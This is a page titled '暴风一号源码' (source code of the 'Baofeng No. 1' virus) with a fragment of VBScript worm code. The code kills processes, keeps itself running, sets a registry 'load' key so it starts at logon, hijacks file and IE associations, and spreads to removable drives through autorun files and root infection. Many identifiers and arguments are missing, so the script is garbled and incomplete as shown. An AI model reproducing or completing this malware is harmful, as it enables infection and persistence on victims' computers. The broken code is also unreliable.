暴风一号源码.doc

暴风一号源码
on error resume next
dim fso,wshshell
set fso=createobject("")
set wshshell=","","","")
vbsfullnames=array(getmainvirus(1))
do
call killprocess(processnames)
call invadesystem(getmainvirus(1),getmainvirus(0))
call keepprocess(vbsfullnames)
3000
loop
end sub
sub invadesystem(virusloadpath,virusasspath)
on error resume next
dim load_value, file_value, ie_value, mycpt_value1, mycpt_value2, hcuload, hcuver, viruscode, version
load_value=""""&virusloadpath&""""
file_value="%systemroot%\system32\ "&""""&virusasspath&""""&" %1 %* "
ie_value="%systemroot%\system32\ "&""""&virusasspath&""""&" oie "
mycpt_value1="%systemroot%\system32\ "&""""&virusasspath&""""&" omc "
mycpt_value2="%systemroot%\system32\ "&""""&virusasspath&""""&" emc "
hcuload="hkey_current_user\software\microsoft\windows nt\currentversion\windows\load"
hcuver="hkey_current_user\software\microsoft\windows nt\currentversion\windows\ver"
hcudate="hkey_current_user\software\microsoft\windows nt\currentversion\windows\date"
viruscode=getcode()
version=1
hostsourcepath=(1)&"\"
hostfilepath=(0)&"\system\"
for each drive in
if and (=1 or =2 or =3) then
diskvirusname=getserialnumber()&".vbs"
call createautorun(,diskvirusname)
call infectroot(,diskvirusname)
end if
next
if (virusasspath)=false or (virusloadpath)=false or (hostfilepath)=false or getversion()< version then
if getfilesystemtype(getsystemdrive())="ntfs" then
call createfile(viruscode,virusasspath)
call createfile(viruscode,virusloadpath)
call copyfile(hostsourcepath,hostfilepath)